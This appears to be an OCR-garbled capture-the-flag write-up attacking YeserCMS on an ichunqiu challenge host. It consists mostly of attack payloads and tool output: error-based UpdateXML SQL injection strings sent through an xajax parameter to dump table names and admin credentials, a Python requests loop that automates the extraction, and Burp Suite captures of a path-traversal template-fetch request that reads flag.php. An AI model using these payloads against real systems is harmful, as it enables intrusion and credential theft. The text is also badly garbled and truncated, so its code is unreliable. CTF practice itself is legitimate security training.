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#

# robots. txt for YeserCMS

# Version 5.0.0
#

User—agent: *

Disallow:/admin/
Disallow:/cache/
Disallow:/common/
Disallow:/config/
Disallow:/fckeditor/
Disallow:/htaccess/
Disallow:/images/
Disallow:/install/
Disallow:/js/
Disallow:/lib/
Disallow:/template/
Disallow:/upload/
Disallow:/celive/
Disallow:flag. php
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xajax=Postdata8xajaxargs[0]= <xjxquery:> <q>detail =x000x’,(UpdateXML(1,CONCAT(0x5b, mid((SELECT/**/GROUP_CONCAT(concat(username,’|",password)) from
user),1,32),0x5d), 1)), NULL,NULL,NULL, NULL,NULL,NULL)-- </q> </xjxquery>
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XPATH syntax error: ‘[yesercms_a_attachment,yesercms_'

INSERT INTO “yesercms_detail” (chatid’, detail’, who_witter’) VALUES(", xxxxxx’,(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_sche

table_schema=database()), 1,32),0x5d),1)), NULL,NULL,NULL,NULLNULL, NULL)-- (2021-12-23 20:07:32)"'2")
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Xajax=Postdata&xajaxargs[0]=<xjxquery><g>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**
/GROUP_CONCAT(table_name) from information_schema.tables where
table_schema=database()),1,32),0x5d),1)), NULL,NULL,NULL NULL,NULL NULL)- </g></xjxquery>
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xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xooxx,
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(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where

table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </g></xjxquery>
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INSERT INTO ‘yesercms_detail” (‘chatid’,"detail’, who_witter’) VALUES(","sxxxxx'(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where

table_schema=database()),32,64),0x5d),1)), NULL,NULL,NULL,NULL,NULL,NULL)-- (2021-12-23 20:08:03)','2")
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xajax=Postdata&xajaxargs[0]=<xjxquery><g>detail=xxoxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**
IGROUP_CONCAT(table_name) from information_schema.tables where
table_schema=database()),32,64),0x5d), 1)), NULL, NULL NULL, NULL NULL,NULL )~ </g></xjxquery>
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import requests
url = "http://f323616315c34c59a57da@958bdbalc55e2573098c8a48ea.changame.ichunqiu.com/celive/live/header.php
for i in range(1,999,31):

postdata = {

'xajax':'Postdata’,

'xajaxargs[0]':"<xjxquery><qg>detail=xxxxxx"', (UpdateXML(1,CONCAT(0x5b,mid( (SELECT/**/GROUP_CONCAT (table_

r = requests.post(url,data=postdata)
print(r.content[22:53])

= requests.post(url,data=postdata)
print(r.content[22:53])
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xajax=Postdata&xajaxargs[0]=<xjxquery><g>detail=xxxxxx"', (UpdateXML(1,CONCAT (®x5b,mid( (SELECT/**/GROUP_CONCA
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INSERT INTO “yesercms_detail” (‘chatid’, detail’,' who_witter’) VALUES(","xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from
yesercms_user),1,32),0x5d),1)), NULL,NULL, NULL,NULL,NULL,NULL)-- (2021-12-23 17:26:35)",'2")
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xajax=Postdata&xajaxargs[0]=<xjxquery><qg=>detail=x00xx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**
/IGROUP_CONCAT(table_name) from information_schema.tables where

table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)- </g></xjxquery=>
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xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx"', (UpdateXML(1,CONCAT(®x5b,mid( (SELECT/**/GROUP_CONCA
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INSERT INTO “yesercms detail” (‘chatid’, detail’,' who witter) VALUES(", sooxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,’|, password)) from
yesercms_user),32,64),0x5d),1)), NULL NULL,NULL,NULL,NULL,NULL)-- (2021-12-23 17:28:03)",'2")
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Postdata [] Referer [] User Agent [] Cookies Clear All

xajax=Postdata&xajaxargs[0]=<xjxquery><g>detail=xo00x',(Update XML (1,CONCAT(0x5b, mid((SELECT/**
/GROUP_GONCAT(concat(username,'[', password)) from

yesercms_user),32,64),0x5d),1)),NULL,NULL, NULL,NULL,NULL,NULL)-- </g></xjxquery>
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J Intercept I HTTP history I WebSockets history I Options ]

f Request to http://b548ae2bad384149a7c5738a22e31cfccb828222821cdead changame ichungiu.com:80 [113.207.76.112]

- 3 —
‘t Forward J L Drop Intercept is on Action iy | Open Browser J

Raw | Params | Headers | Hex

Pretty n Actions w

| 1 POST /index.php7case=templatefact=fetchkadmin_dir=adninksite=default HTTP/1.1

Host: b048acibad384149a7cDT738al2e3lcfcchB2Be22821cdead. changame. ichungiu, com

Content-Length: 18

: application/json, text/javaseript, */*

X-Requested-With: XMLHttpRequest

§ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebEit/537.36 (EHTML, like Gecko) Chrome/83.0.4183.83 Safari/537.36

7 Content-Type: application/s—www—form—urlencoded

Origin: http://b548ae’bad384149a7e5738a22e31cfccbB28e22821c4ead. changame. ichungiu. com

Referer: http://b348aelbad384149a7c5738a22e31cf ccbB28e228 21 cdead. changane. ichungin. con/index. php7ease=tenplatekact=edi tkadnin_dir=adminksite=default
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11 Accept-Language: sh-CH, zh:q=0.9
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Burp Suite Professional v2020.9.1 - Temporary Project - licensed to oot - O X
Burp Project Intruder Repeater Window Help
[Dashhoard TTarget Proxy | Intruder IRepeaieI TSequencev TDecoder TCompavev TExtendev TProJectoptlons TUsevoptlons ]
2ol |
Send | Cancel <|* > | Target: http://b548ae2bad384149%a7c5738a22e31cfccb828e22821c4ead.changame.ichungiu.com j @ n
Q= = |
Request Response I
Raw | Params | Headers | Hex Raw | Heade Hex
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1 POST /index. php?case=templateact=fetchiadnin_dir=admingsite=default HTTP/1.1 ' HTTP/1.1 200 0K I
2 Host: b348ae2bad384149aTc3738a22e31cfcchB28e22821cdead. changame. ichungin. com ™ | 2 Date: Thu, 23 Dec 2021 09:48:40 GMT &
3 Content-Length: 19 3 Content-Type: text/htwl: charset=utf-8
4 Accept: application/isen, text/javascript, */* 4 Connection: close
3 X-Requested—With: XMLHttpRequest 3 Vary: Accept—Encoding
G User—Agent: Mozilla/5.0 (Vindows NT 10.0: Winf4: x64) AppleWebKit/537.36 (EHTML, like Gecko) i Pragma: no—cache
Chrome/85. 0. 4183.83 Safari/5337.36 7 Cache—Control: no—store, no—cache, must—revalidate, post—check=0, pre—check=0
7 Content-Trpe: application/s—www—forn—urlencoded & Bxpires: Thu, 19 Nov 1981 08:52:00 GMT
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9 Referer: 10 Xx—Cache: bypass
http://b348as2bat3dB4149aT7c5738a22e31cf cchB2Be 22821 c4ead. changane. ichungiu. com/index. phpTease=templ 11 Content—Length: 267
atelact=editbadnin dir=adminksite=default 12
10 Accept—Bncoding: gzip, deflate 13 {“content” :"<textarea rows=\"20\" cols=\ 78" id=\".. /.. \/flag php_content\” style=\ font—family: Fireds,
11 Accept-Language: zh—CHN, zh:q=0.9 fl <7phpinecho 'flag is here’ :'\n'flag{800a2410-6c43-42e2-aeld-a0b3f64fd2bal " ; \n{\/textarear
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login_username=admin: login password=ad4f8dI844c391a79ae9dbdaatld2c4d; style=skin?; passinfo=
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